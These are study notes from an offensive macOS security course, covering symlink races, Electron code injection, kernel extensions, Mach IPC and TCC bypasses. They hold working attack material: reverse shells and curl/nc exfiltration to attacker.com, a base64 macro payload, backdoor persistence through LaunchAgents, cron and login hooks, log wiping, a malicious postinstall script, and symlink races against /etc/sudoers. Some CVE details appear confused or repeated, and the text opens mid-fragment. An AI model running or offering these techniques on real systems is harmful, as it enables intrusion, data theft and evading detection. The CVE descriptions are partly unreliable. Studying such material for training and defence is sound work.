# Detach
(lldb) detach

# Register values
(lldb) register read rax

OffSec macOS Course - Study Notes Part 4

Chapters 15-21: Advanced Exploitation Techniques

Chapter 15: Symlink and Hardlink Attacks

Filesystem Permission Model

POSIX Permissions

macOS uses the POSIX file permission model with three permission levels: owner, group, and world. Each level has three permissions: read (r), write (w), and execute (x). Permissions are represented as rwx for each level (e.g., 755, 644).

Key Commands

# Check file permissions
ls -l filename

# Change permissions (octal mode)
chmod 755 filename

# Change permissions (symbolic)
chmod u+rwx,g+rx,o+rx filename

# Change owner and group
chown user:group filename

# View extended attributes and ACLs
xattr -l filename
ls -leO filename

File Permission Concepts

  • Read (r/4): View file contents
  • Write (w/2): Modify file contents
  • Execute (x/1): Run file or access directory
  • Each level (user, group, other) has 0-7 octal value

Sticky Bit and Special Permissions

# Set sticky bit (prevent deletion except by owner)
chmod +t /tmp
chmod 1777 /tmp

# Set SUID (run as file owner)
chmod u+s filename
chmod 4755 filename

# Set SGID (run as file group)
chmod g+s filename
chmod 2755 filename

Why: SUID/SGID allows elevation of privilege; sticky bit prevents unauthorized deletion in world-writable directories.

Access Control Lists (ACLs)

# View ACLs
ls -leO filename

# Add ACL entry
chmod +a "user allow read,write" filename

# Remove ACL entry
chmod -a "user allow read,write" filename

Finding File Permission Vulnerabilities

Static Analysis

Check for insecure write permissions in application bundles, library paths, and system binaries. Look for world-writable directories and files that execute with elevated privileges.

Dynamic Analysis

Monitor file access patterns during application execution. Use dtrace, fs_usage, and opensnoop to track which files an application reads, writes, or executes.

# Monitor filesystem operations
fs_usage -w | grep filename

# Trace file operations
dtrace -n 'syscall:::entry /execname == "process"/ { @calls[execname] = count(); }'

# Monitor open files
lsof -p pid

Exploitable Conditions

Vulnerable conditions include:

  • World-writable directories in PATH
  • Insecure temporary file handling
  • Race conditions between permission check and file access (TOCTOU)
  • Hardlinks/symlinks to privileged files in writable locations

CVE-2020-3855: DiagnosticMessages File Overwrite

Vulnerability in DiagnosticMessages allows writing to arbitrary files via symlink.

# Create symlink to target file
ln -s /etc/passwd /var/tmp/diagnosticmessages_symlink

# Application writes data that overwrites the symlink target
/usr/bin/vulnerable_binary

CVE-2020-3762: Adobe Reader macOS Installer LPE

Adobe Reader installer writes to world-writable directory, allowing privilege escalation via hardlink.

# Create hardlink to system file
ln /var/tmp/installer_file /Library/system_file

# Installer writes to /var/tmp, modifying system_file via hardlink

CVE-2019-8802: Manpages Local Privilege Escalation

Manpage installation creates world-writable files that can be exploited.

# Check for world-writable files in /usr/share/man
find /usr/share/man -perm -002 -type f

# Create symlink before man installs the file
ln -s /etc/sudoers /tmp/manpage_symlink

CVE-2021-26089: Fortinet FortiClient Installer LPE

FortiClient installer vulnerable to privilege escalation via symlink attack in temporary directory.

Exploitation Steps

  1. Identify temporary file path used by installer
  2. Create symlink from /var/tmp to privileged system file
  3. Run installer to write through symlink
  4. Verify target file modification
# Monitor installer activity
fs_usage | grep FortiClient

# Create symlink race
while true; do
  ln -s /etc/sudoers /var/tmp/fortinet_target
  rm -f /var/tmp/fortinet_target
done &

# Run installer
/Applications/FortiClientUninstall.app/Contents/MacOS/FortiClientUninstall

Detection and Mitigation

  • Use stat to verify inode numbers (different = separate files)
  • Check for symlink loops with readlink -f
  • Verify file integrity with ls -i (inode matching)
  • Use secure temporary directories (app sandbox, /var/folders)

Chapter 16: Injecting Code into Electron Applications

Theory

Electron is a framework for building cross-platform desktop applications using JavaScript and Node.js. It combines Chromium rendering engine with Node.js runtime, creating a powerful but potentially vulnerable attack surface for local code injection.

Setting Up Electron Development

# Install Xcode command line tools
xcode-select --install

# Install Homebrew
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# Install Node.js and Yarn
brew install nodejs
brew install yarn

# Clone electron-webpack-quick-start template
git clone https://github.com/electron-userland/electron-webpack-quick-start.git
cd electron-webpack-quick-start
rm -rf .git

Creating Simple Electron Apps

# Install dependencies
yarn

# Build application
yarn dist

# Output location
dist/mac/electron-webpack-quick-start.app

Identifying Electron Applications

Key Indicators

  1. app.asar file: Located at Contents/Resources/app.asar - packaged application code
  2. Electron Framework: Located at Contents/Frameworks/Electron Framework.framework
  3. Helper apps: Multiple Helper processes for different functions (GPU, Plugin, Renderer)
# Check for app.asar
ls -l App.app/Contents/Resources/app.asar

# Verify code signature
codesign -dv --entitlements :- /Applications/Discord.app

Code Injection Methods

Method 1: Environment Variable Injection (ELECTRON_RUN_AS_NODE)

Set ELECTRON_RUN_AS_NODE=1 to start application as Node.js REPL for direct command execution.

# Run Discord as Node.js process
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

# In REPL, execute Node commands
> const { spawn } = require('child_process');
> spawn("/path/to/binary");

Why: Node.js REPL allows arbitrary command execution. Child processes inherit parent's sandbox profile and TCC permissions.

# Create launchd plist to run with proper profile
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>EnvironmentVariables</key>
 <dict>
  <key>ELECTRON_RUN_AS_NODE</key>
  <string>true</string>
 </dict>
 <key>Label</key>
 <string>com.discord.tcc.bypass</string>
 <key>ProgramArguments</key>
 <array>
  <string>/Applications/Discord.app/Contents/MacOS/Discord</string>
  <string>-e</string>
  <string>const { spawn } = require("child_process"); spawn("/Users/offsec/payload");</string>
 </array>
 <key>RunAtLoad</key>
 <true/>
</dict>
</plist>

# Load with launchctl
launchctl load plist_file.plist

Method 2: Debug Port Injection (--inspect)

Electron supports V8 inspector protocol for debugging via exposed port (default 9229).

# Start in debug mode
/Applications/Discord.app/Contents/MacOS/Discord --inspect

# Connect via Chrome
# Visit chrome://inspect and click "inspect" link
# Execute code in debugger console
const { spawn } = require('child_process');
spawn("/path/to/binary");

Why: Debugger allows remote code execution through V8 debugging protocol. Chrome DevTools acts as client.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>Label</key>
 <string>com.discord.tcc.bypass.inspect</string>
 <key>ProgramArguments</key>
 <array>
  <string>/Applications/Discord.app/Contents/MacOS/Discord</string>
  <string>--inspect</string>
 </array>
 <key>RunAtLoad</key>
 <true/>
</dict>
</plist>

Method 3: Source Code Modification

Modify JavaScript source in app.asar or unpacked source files. Code signature verification only occurs on first execution; subsequent runs use cached verification.

# Install asar package
npm install asar

# Extract app.asar
mkdir unpack
npx asar extract /Applications/Discord.app/Contents/Resources/app.asar unpack

# Find main entry point
cat unpack/package.json | grep main

# Edit main JavaScript file
# Add: const { spawn } = require("child_process"); spawn("/path/to/payload");

# Repack archive
npx asar pack unpack app.asar

# Backup and replace
cp /Applications/Discord.app/Contents/Resources/app.asar app.asar.backup
cp app.asar /Applications/Discord.app/Contents/Resources/app.asar

Why: AMFI (AppleMobileFileIntegrity) only verifies executable code signatures. JavaScript and archive files are non-executable, so modifications persist.

Harvesting TCC Privileges

Discord's code signature includes camera and microphone entitlements. By injecting code, attacker inherits these permissions.

# Check entitlements
codesign -dv --entitlements :- /Applications/Discord.app

# Result shows:
# <key>com.apple.security.device.audio-input</key>
# <key>com.apple.security.device.camera</key>

Protection Mechanisms

For Developers

  1. Electron Fuses: Disable ELECTRON_RUN_AS_NODE and other dangerous features
  2. Sandbox: Prevent child process spawning
  3. asar-integrity: Checksum app.asar (Note: verification not automatic)
# Enable Electron Fuses to disable env var method
# In electron-builder config

Known Limitations

  • Debug port injection remains vulnerable (Electron doesn't consider local threats)
  • Source code modification persists (AMFI verification only on first run)
  • These are design decisions, not security flaws per Electron team

Chapter 17: Getting Kernel Code Execution

Theory

Kernel extensions (KEXTs) are kernel-level drivers that run with kernel privileges. macOS heavily restricts KEXT loading through code signing certificates, notarization, and System Integrity Protection (SIP), but vulnerabilities can bypass these restrictions.

KEXT Loading Requirements

Code Signing Certificate

KEXTs must be signed with a special kernel code signing certificate (different from standard Apple Developer certificate). Obtaining requires:

  • Special application submission to Apple
  • Justification for kernel-level access
  • Real product backing the request
  • Apple approval (very strict)

Notarization

After signing, KEXT must be notarized through Apple's notary service for distribution.

System Integrity Protection (SIP)

SIP prevents unsigned KEXTs from loading, even by root. Kernel requires valid signature chain.

KEXT Development Basics

KEXT Structure

# Create KEXT bundle
mkdir -p MyKext.kext/Contents/{MacOS,Resources}

# Info.plist example
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>CFBundleExecutable</key>
 <string>MyKext</string>
 <key>CFBundleIdentifier</key>
 <string>com.example.MyKext</string>
 <key>CFBundleName</key>
 <string>MyKext</string>
 <key>CFBundlePackageType</key>
 <string>KEXT</string>
 <key>OSBundleRequired</key>
 <string>Root</string>
 <key>CFBundleVersion</key>
 <string>1.0</string>
</dict>
</plist>

KEXT Entry Points

// KEXT header structure
#include <mach/mach_types.h>

kern_return_t hello_kext_start(kmod_info_t * ki, void *d);
kern_return_t hello_kext_stop(kmod_info_t *ki, void *d);

// Start function (called when KEXT loads)
kern_return_t hello_kext_start(kmod_info_t * ki, void *d) {
 printf("Hello from kernel\n");
 return KERN_SUCCESS;
}

// Stop function (called when KEXT unloads)
kern_return_t hello_kext_stop(kmod_info_t *ki, void *d) {
 printf("Goodbye from kernel\n");
 return KERN_SUCCESS;
}

KEXT Loading Process

# Verify code signature
codesign -vvv MyKext.kext

# Load KEXT as root
sudo kextload MyKext.kext

# Verify loaded KEXT
kextstat | grep MyKext

# Unload KEXT
sudo kextunload MyKext.kext

Why: kextload calls into kernel which validates signature before allowing load.

Vulnerability Class: Bypassing KEXT Restrictions

Vulnerability Pattern 1: Unsigned KEXT via Entitlement

Some applications with special entitlements can load unsigned KEXTs. If application is compromised, KEXT loading becomes possible.

# Check for suspicious entitlements
codesign -d --entitlements :- /Applications/App.app

# Look for KEXT loading related entitlements
# com.apple.private.kext.load or similar

Vulnerability Pattern 2: Race Condition in KEXT Verification

Brief window between signature verification and actual KEXT load can allow substitution.

# Monitor KEXT loading
# Use dtrace to identify verification calls
dtrace -n 'syscall:::entry /execname == "kextload"/ { stack(); }'

Vulnerability Pattern 3: Compromised System Utility

System utilities with KEXT loading capability that don't properly validate input.

Building Custom KEXTs

# Compile KEXT
# Requires Xcode and kernel headers
gcc -c MyKext.c -o MyKext.o
gcc -bundle -flat_namespace -undefined error MyKext.o -o MyKext.kext/Contents/MacOS/MyKext

# Sign with kernel certificate (requires valid cert)
codesign -s "3rd Party Mac Developer Application" MyKext.kext

# Create dSYM for debugging
dsymutil MyKext.kext/Contents/MacOS/MyKext -o MyKext.kext.dSYM

Hooking Kernel Functions

// Hook system call example
// Save original syscall function pointer
typedef int (*syscall_ptr_t)(void);
static syscall_ptr_t original_syscall;

// Hook implementation
int hooked_syscall(void) {
 // Custom logic
 printf("System call intercepted\n");
 // Call original
 return original_syscall();
}

// Install hook by modifying kernel function pointer
// (requires kernel memory access)

Post-Exploitation with Kernel Execution

With kernel code execution, attacker can:

  • Disable SIP protection
  • Bypass TCC restrictions
  • Hide processes/files from userland
  • Modify running processes
  • Access kernel memory directly

Detection and Mitigation

# List loaded KEXTs
kextstat

# Check for unsigned KEXTs (should not exist with SIP)
kextstat | grep -v "Apple"

# Verify SIP status
csrutil status

# Check KEXT logs
log show --predicate 'process == "kernel"' --level debug

Protection

  • Keep SIP enabled
  • Keep macOS updated for patched KEXT verification
  • Monitor for unsigned KEXT loading attempts
  • Use MDM to restrict KEXT installation

Chapter 18: Mach IPC Exploitation

Theory

Mach IPC (Inter-Process Communication) is macOS's low-level messaging system for kernel-user and process-to-process communication. Mach ports act as message queues enabling privileged operations like accessing system services, accessing TCC-protected resources, and privilege escalation through service vulnerabilities.

Mach Interface Generator (MIG)

MIG simplifies Mach IPC by automatically generating marshaling code for message construction and parsing.

MIG Definition File Structure

# Create .defs file
# Syntax defines interfaces and routines

subsystem helloworld 10;  # Name and base routine number

# Define routine
routine hello_world(
  port  : mach_port_t;
  input : int;
  reply : mach_port_make_send_t
);

# Compiled with:
mig helloworld.defs

Why: MIG generates boilerplate C code for sending/receiving Mach messages, reducing complexity and errors.

MIG Generated Code Structure

MIG creates:

  • Client stub: Sends messages to server
  • Server interface: Receives and unmarshals messages
  • Type definitions: Message structures
# MIG compilation
mig -isysroot /path/to/sdk interface.defs

# Generates:
# - interface.h: Type definitions
# - interfaceServer.c: Server-side implementation
# - interfaceUser.c: Client-side stubs

Mach Message Basics

Message Structure

// Mach message header
typedef struct {
  mach_msg_header_t header;
  mach_msg_body_t body;
  // Variable body data
} mach_message_t;

// Send message
kern_return_t kr = mach_msg(
  &message,
  MACH_SEND_MSG,
  message.header.msgh_size,
  0,
  MACH_PORT_NULL,
  MACH_MSG_TIMEOUT_NONE,
  MACH_PORT_NULL
);

Port Registration

# Register receive port with bootstrap
bootstrap_register(bootstrap_port, "com.service.name", service_port);

# Look up service port
bootstrap_look_up(bootstrap_port, "com.service.name", &service_port);

CVE-2022-22639 Exploitation Case Study

Vulnerability Overview

CVE-2022-22639 affects macOS Monterey and earlier. Vulnerability in system service allows unauthenticated access via Mach IPC.

Vulnerability Details

Service accepts connections without proper validation. By crafting malicious Mach message, attacker can:

  • Trigger code path in privileged service
  • Access protected resources
  • Escalate privileges

Exploitation Steps

# 1. Identify vulnerable service
# Look for registered services in bootstrap namespace
launchctl list | grep service

# 2. Create Mach client connecting to service
# Send crafted message via Mach IPC

# 3. Trigger vulnerability
# Cause service to read/write unvalidated data

# 4. Gain privilege or access

Mach IPC Vulnerability Patterns

// Anti-pattern: Unsanitized message data
void handle_message(mach_msg_t *msg) {
  // No validation of message contents
  int value = msg->data.value;  // Could be attacker-controlled
  
  // Use value in privileged operation (BAD)
  chmod("/etc/sudoers", value);
}

// Safer pattern: Validate before use
void handle_message_safe(mach_msg_t *msg) {
  // Validate message source
  if (msg->header.msgh_local_port != expected_port) {
    return;
  }
  
  // Validate data ranges
  if (msg->data.value > 0777) {
    return;
  }
  
  chmod("/etc/sudoers", msg->data.value);
}

Reversing Mach IPC Services

Finding Service Ports

# Check registered services
launchctl bslist

# Monitor service connections
dtrace -n 'mach_msg*:::entry { @[execname] = count(); }'

# Use log streams to find service names
log stream --level debug

Message Analysis

# Capture messages with tcpdump (for network IPC)
# For Mach IPC, use Hopper/IDA to reverse service code

# Analyze service binary
otool -L /System/Library/LaunchDaemons/com.apple.service

# Disassemble with Hopper
# Look for message handling routines

Building Client Code

// Connect to service and send message
mach_port_t bootstrap_port, service_port;
task_get_bootstrap_port(mach_task_self(), &bootstrap_port);

// Look up service
bootstrap_look_up(bootstrap_port, "com.example.service", &service_port);

// Create message
exploit_message_t msg;
msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg.header.msgh_size = sizeof(msg);
msg.header.msgh_remote_port = service_port;
msg.header.msgh_id = SERVICE_ROUTINE_ID;
msg.data = attacker_controlled_data;

// Send
mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, 
         MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

Mach Port Vulnerabilities

Port Use-After-Free

Service frees port prematurely but continues using it in message handling.

Port Namespace Confusion

Service receives port in message but doesn't verify port identity/capabilities.

Excessive Message Complexity

Deeply nested message data structures with insufficient validation.

Detection and Mitigation

# Monitor Mach IPC activity
dtrace -n 'mach_msg*:::entry { @[execname, arg2] = count(); }'

# Check for suspicious service registrations
launchctl bslist | grep -E "^[^/]"

# Verify code signatures of services
codesign -v /System/Library/LaunchDaemons/*/

Best Practices

  • Validate all message data before use
  • Verify sender port identity
  • Use capability-based security (only send needed ports)
  • Minimize message complexity
  • Regular security audits

Chapter 19: macOS Penetration Testing

Theory

Full penetration test attack chain on macOS from initial foothold through kernel-level compromise. Demonstrates chaining multiple vulnerabilities and bypassing security mechanisms in realistic attack scenarios.

Initial Compromise via Macro Execution

Attack Vector: Microsoft Office Macro

User opens malicious Word document containing VBA macro that executes arbitrary shell command.

# Reverse shell one-liner (from pentestmonkey)
bash -i >& /dev/tcp/attacker_ip/port 0>&1

# Wrapped in AppleScript for macro execution
osascript -e 'do shell script "bash -c {echo,YmFzaCAti...}|{base64,-d}|bash"'

Why: Office macros run in user context. AppleScript base64 encoding avoids detection.

Establishing Reverse Shell

# On attacker machine
nc -nlvp 4444

# From victim's macro
bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Verify shell
whoami
id
ps aux

Escaping Sandbox Restrictions

Identifying Sandbox Profile

Applications often run in sandbox that restricts file/network access.

# Check sandbox profile
ps aux | grep -i sandbox

# Check entitlements
codesign -d --entitlements :- /Applications/App.app

# Look for sandbox=.pdf entry

Sandbox Escape Techniques

Temporary Directory Access

# Sandboxed apps can write to /var/folders
ls -la /var/folders/*/C/

# Find readable directories
find /var/folders -type d -perm +644 2>/dev/null

System Frameworks

# Sandboxed apps often have access to system frameworks
ls -la /System/Library/Frameworks/

# Use popen() to execute permitted commands

Local Privilege Escalation

Finding LPE Vulnerabilities

# Analyze installers
ls -la /Library/Installers/

# Check for setuid binaries
find / -perm -4000 2>/dev/null

# Monitor installer operations
fs_usage -w | grep -E "(write|chmod|chown)"

Exploiting Installer Vulnerabilities

# Example: Race condition in installer
# Installer creates temp file, then modifies permissions
# Window exists for symlink attack

while true; do
  ln -s /etc/sudoers /tmp/installer_temp 2>/dev/null
  rm -f /tmp/installer_temp 2>/dev/null
done &

# Run vulnerable installer
/path/to/installer

Persistence Mechanisms

LaunchAgent/Daemon

# Create user LaunchAgent for persistence
cat > ~/Library/LaunchAgents/com.user.persistence.plist << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>Label</key>
 <string>com.user.persistence</string>
 <key>ProgramArguments</key>
 <array>
  <string>/path/to/backdoor</string>
 </array>
 <key>RunAtLoad</key>
 <true/>
 <key>StartInterval</key>
 <integer>3600</integer>
</dict>
</plist>
EOF

# Load immediately
launchctl load ~/Library/LaunchAgents/com.user.persistence.plist

Why: Loads automatically at login/boot. User agents run as current user, daemons as root.

Login Hooks (Deprecated but effective)

# Create script
cat > ~/.login_script.sh << 'EOF'
#!/bin/bash
/path/to/backdoor &
EOF

# Set as login hook
defaults write com.apple.loginwindow LoginHook ~/.login_script.sh

Cron Jobs

# Edit crontab
crontab -e

# Add persistence
0 * * * * /path/to/backdoor

Escalating to Kernel Privileges

Leveraging KEXT Loading

# Build malicious KEXT (see Chapter 17)
# Sign if possible, or exploit vulnerability to load unsigned

sudo kextload /path/to/malicious.kext

# Verify loaded
kextstat | grep malicious

Kernel Exploitation

Once in kernel:

  • Disable SIP
  • Bypass TCC restrictions
  • Hide processes/files
  • Exfiltrate data directly from memory
  • Modify running processes

Post-Exploitation

Information Gathering

# System information
uname -a
system_profiler SPSoftwareDataType

# Network configuration
ifconfig
netstat -an
ss -an

# User accounts
dscl . list /Users

# Installed applications
ls -la /Applications/

Data Exfiltration

# Collect sensitive files
tar czf data.tar.gz ~/Library/Passwords ~/Desktop/ ~/Documents/

# Transfer via curl
curl -F "file=@data.tar.gz" http://attacker.com/upload

# Or use reverse shell to transfer
nc -w 3 attacker.com port < data.tar.gz

Covering Tracks

# Clear shells
cat /dev/null > ~/.bash_history
cat /dev/null > ~/.zsh_history

# Remove persistence mechanisms
rm ~/Library/LaunchAgents/com.user.persistence.plist

# Clear logs (requires root)
log erase --all
sudo log erase --all

# Clear temporary files
rm -rf /var/tmp/*

Detection and Indicators

# Monitor LaunchAgent/Daemon creation
ls -la ~/Library/LaunchAgents/
ls -la /Library/LaunchAgents/
ls -la /Library/LaunchDaemons/

# Check unusual network connections
lsof -i -n -P | grep -i listen

# Monitor process creation
ps auxww | grep -v grep

# Check for unsigned KEXTs
kextstat | grep -v Apple

# Review system logs
log stream --level debug

Chapter 20: Chaining Exploits on macOS Ventura

Theory

macOS Ventura (13.0+) introduced significant security hardening: enhanced TCC, sandbox restrictions, Trust Cache, and Launch Constraints. This chapter demonstrates bypassing these mitigations through chained vulnerabilities.

macOS Ventura Security Enhancements

TCC Application Protection

TCC now restricts which applications can modify other applications. Prevents sideloading and bundle modification attacks that were effective in earlier versions.

# Check TCC database
sqlite3 ~/Library/Application\ Support/com.apple.sharedfilelist/com.apple.tcc.db
SELECT * FROM access;

# View TCC status
tccutil reset All com.apple.systempreferences

Sandbox Hardening

Stricter sandbox profiles prevent:

  • Arbitrary executable access
  • Unrestricted file system access
  • Unsandboxed child processes
# Check sandbox entitlements
codesign -d --entitlements :- /Applications/App.app | grep -i sandbox

Trust Cache and Launch Constraints

Trust Cache: Pre-signed executable whitelist prevents loading untrusted code. Launch Constraints: Restrict which processes can communicate via Mach IPC.

# Check signed binary legitimacy
codesign -vvv /path/to/binary

# Verify code requirements
codesign -d --requirements :- /path/to/binary

CVE-2022-26765: Gatekeeper Bypass

Vulnerability Overview

macOS Gatekeeper bypass allows code execution without user interaction. Files from untrusted sources can execute if bypass is triggered.

Exploitation

# 1. Create executable
gcc -o payload payload.c

# 2. Remove quarantine attribute
xattr -d com.apple.quarantine payload

# 3. Bypass code signature check via specific conditions
# (Details depend on specific CVE variant)

# 4. Execute without Gatekeeper prompt
./payload

Why: Gatekeeper's extended attribute check can be bypassed under specific file paths or operations.

CVE-2022-46689: Google Drive LPE

Vulnerability Overview

Google Drive installer contains local privilege escalation vulnerability. Installer running as root creates world-writable directories or files exploitable via symlink/hardlink.

Exploitation Steps

# 1. Identify vulnerable installer behavior
# Monitor Google Drive updates
fs_usage -w | grep -i google

# 2. Create symlink/hardlink race condition
# Target privileged file that Drive modifies
mkdir -p /tmp/google_drive_temp

# 3. Create symlink to sensitive file before install
ln -s /etc/sudoers /tmp/google_drive_work/targetfile

# 4. Run installer
/path/to/GoogleDrive.dmg

# 5. Verify privilege escalation
sudo -l

Why: Root-running installer + TOCTOU = privilege escalation. Attacker controls where installer writes via symlink.

Mitigation

  • Keep Google Drive updated
  • Use secure temporary directories
  • Monitor file permission changes

CVE-2022-28696: Apple Installer Package Bypass

Vulnerability Overview

Vulnerability in Apple system installer packages (.pkg) allows bypassing SIP through malicious installer scripts.

Exploitation

# 1. Create malicious installer package
pkgutil --expand legitimate.pkg expanded_pkg

# 2. Modify install scripts
# Edit Scripts/preinstall or Scripts/postinstall
# Add payload that runs in installer context

# 3. Reconstruct package
pkgutil --flatten expanded_pkg malicious.pkg

# 4. Sign if needed (or exploit unsigned path)
productsign --certificate "Developer ID Installer" \
  malicious.pkg signed.pkg

Why: Installer scripts run with elevated privileges. SIP doesn't restrict installer-signed binaries executing privileged operations.

Payload Example

#!/bin/bash
# postinstall script - runs as root during install

# Disable SIP (via vulnerability)
nvram boot-args="amfi_allow_invalid_code=1"

# Or directly modify system files
rm -rf /System/Library/Sandbox/Profiles/default.sb

# Add persistence
mkdir -p /Library/LaunchDaemons
cat > /Library/LaunchDaemons/com.evil.plist << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>Label</key>
 <string>com.evil</string>
 <key>ProgramArguments</key>
 <array>
  <string>/usr/local/bin/backdoor</string>
 </array>
 <key>RunAtLoad</key>
 <true/>
</dict>
</plist>
EOF

# Enable new launch daemon
launchctl load /Library/LaunchDaemons/com.evil.plist

Full Attack Chain: From Foothold to Kernel

Phase 1: Initial Access

  1. User opens malicious document (CVE-2022-XXXXX)
  2. Gatekeeper bypass (CVE-2022-26765) allows execution
  3. Reverse shell established

Phase 2: Privilege Escalation

  1. Identify Google Drive installation
  2. Exploit installer race condition (CVE-2022-46689)
  3. Gain root access

Phase 3: SIP Bypass

  1. Use installer vulnerability (CVE-2022-28696)
  2. Disable SIP restrictions
  3. Modify system files as needed

Phase 4: Persistence and Kernel Access

  1. Install malicious kernel extension
  2. Load KEXT via SIP bypass
  3. Achieve kernel-level persistence
  4. Hide from user-level detection

Ventura Mitigations in Practice

# Verify mitigations are enabled
# Check SIP status
csrutil status

# Check notarization requirements
spctl -a -t exec /Applications/App.app

# View Launch Constraints
# (Requires Hopper or similar disassembly tool)

# Check TCC restrictions
sqlite3 ~/Library/Application\ Support/com.apple.sharedfilelist/com.apple.tcc.db
SELECT service, client FROM access WHERE service LIKE 'kTCCService%';

Defense Strategies

  • Keep macOS and applications fully patched
  • Monitor for unsigned code execution
  • Enable and maintain SIP protection
  • Use MDM for endpoint management
  • Monitor installer execution
  • Restrict sudo access

Chapter 21: Mount(ain) of Bugs

Theory

Mounting operations and MAC (Mandatory Access Control) framework provide attack surface for TCC bypass and privilege escalation. Vulnerabilities in mount handling can circumvent security restrictions.

MAC Framework Overview

What is MAC?

Mandatory Access Control (MAC) provides additional security layer beyond discretionary file permissions. macOS uses MAC framework to enforce policies at kernel level.

# Check loaded MAC policies
kextstat | grep -i mac

# View current MAC policies
# (Requires kernel source inspection or Hopper)

MAC Policy Hooks

MAC policies can intercept operations at multiple points:

  • File access decisions
  • Process execution
  • IPC operations
  • Mount operations

Mount Operation MAC Checks

# Check mount policy enforcement
# Mount operation triggers MAC hooks for mount source/target validation

# Monitoring mount operations
fs_usage -w | grep mount

# Check mounted filesystems
mount
df -h

Why: MAC policies are enforced in kernel before filesystem operations complete. Circumventing MAC hooks requires kernel-level vulnerabilities.

The Mount System Call

Mount Basics

# Mount filesystem
mount -t apfs -o nouserxattr /dev/disk3s5 /Volumes/target

# Parameters:
# - Source device or remote path
# - Mount point (target directory)
# - Filesystem type (-t)
# - Options (-o): nosuid, noexec, nodev, nouserxattr, etc.

# Unmount
umount /Volumes/target

Why: Mount operations change filesystem visibility and access patterns. Improper validation of mount paths can bypass TCC.

Mount Options Security Impact

# nosuid: Prevents setuid bit execution (prevents privilege escalation)
# noexec: Prevents executable loading (blocks code execution)
# nodev: Prevents character/block device access
# nouserxattr: Prevents extended attribute modification

mount -t apfs -o nosuid,noexec,nodev /dev/disk3s5 /secure/mount

CVE-2021-1784: TCC Bypass via Mounting

Vulnerability Overview

Application with mount entitlements can mount filesystem on path containing files protected by TCC. Mounted filesystem replaces TCC-protected files, allowing unrestricted access.

Technical Details

  1. TCC database protects files like ~/Desktop, ~/Documents
  2. Application with mount capability mounts new filesystem over protected path
  3. Mounted filesystem doesn't have TCC restrictions
  4. Application now accesses unprotected mounted files

Exploitation

# 1. Create image with malicious files
hdiutil create -size 100m -type SPARSE -fs APFS -volname temp.dmg

# 2. Prepare mount point
mkdir -p /tmp/mount_target

# 3. Application with mount entitlements can now:
#    - Create mount capability via entitlements
#    - Mount image over ~/Desktop
#    - Access all files without TCC prompts

# 4. Monitor mounts
mount | grep Desktop
df /Users/user/Desktop

Why: TCC checks the path in kernel, but mounting changes what filesystem is accessible at that path. Kernel checks path before resolving mounts properly.

Defense

# Check for suspicious mounts
mount | grep -v "/usr\|/System\|/private\|/Volumes"

# Monitor mount operations with SIP enabled
# SIP prevents unauthorized mounts

# Verify SIP status
csrutil status

CVE-2021-30782: TCC Bypass via AppTranslocation

Vulnerability Overview

Applications executed via AppTranslocation (gatekeeper quarantine) can bypass TCC restrictions. AppTranslocation creates read-only copy, but TCC checks don't account for translocation.

AppTranslocation Mechanism

# When app has quarantine xattr, macOS creates translocation
/var/folders/randompath/AppTranslocation/UUID-hash/

# App runs from translocation path
# TCC should check original path, but vulnerability allows bypass

# Check for translocation
xattr -l /Applications/App.app | grep quarantine

# Remove quarantine to prevent translocation
xattr -d com.apple.quarantine /Applications/App.app

Why: TCC might not properly resolve AppTranslocation paths, allowing same application code to bypass TCC when translocated.

Exploitation

# 1. Create app with quarantine xattr
xattr -w com.apple.quarantine "0001;uuid;reason" /path/to/app

# 2. Execute app (causes translocation)
open /path/to/app

# 3. App runs from /var/folders/.../AppTranslocation/...
# 4. TCC bypass if path resolution fails

# Verify translocation occurred
ps aux | grep AppTranslocation

CVE-2021-26089: Fortinet FortiClient Installer LPE

Vulnerability Details

FortiClient installer vulnerable to privilege escalation via symlink attack in mount operations or temporary directories.

Exploitation Pattern

# 1. Monitor installer file operations
fs_usage -w | grep -i fortinet

# 2. Identify temporary paths and privilege-required operations
# e.g., /var/tmp/fortinet_temp + chmod/chown operations

# 3. Create symlink race condition
while true; do
  rm -f /var/tmp/fortinet_*  2>/dev/null
  ln -s /etc/sudoers /var/tmp/fortinet_target 2>/dev/null
done &

# 4. Run installer
/path/to/FortiClientUninstall.app/Contents/MacOS/FortiClientUninstall

# 5. Check if sudoers modified
ls -la /etc/sudoers
cat /etc/sudoers | grep attacker

Why: Root-running installer + writable temp directory + insufficient link validation = symlink attack.

Other Referenced Vulnerabilities

CVE-2017-2533: Mount Yourself a Root Shell

Privilege escalation via mount operation parsing.

CVE-2017-7170: Sniffing Authorization References

Bypass security prompts via authorization framework.

CVE-2020-9971: mount_apfs TCC Bypass

APFS mounting tool bypasses TCC restrictions.

Detection and Mitigation

Monitoring Mount Activity

# Real-time mount monitoring
while true; do
  mount | diff - <(mount)
  sleep 5
done

# Check mount options
mount | grep -E "nosuid|noexec"  # Should see these on untrusted mounts

# Monitor mount syscall
dtrace -n 'syscall:::entry /arg1 == 21/ { @[execname] = count(); }'

File System Integrity

# Create baseline
find / -type f -perm -4000 > baseline.txt

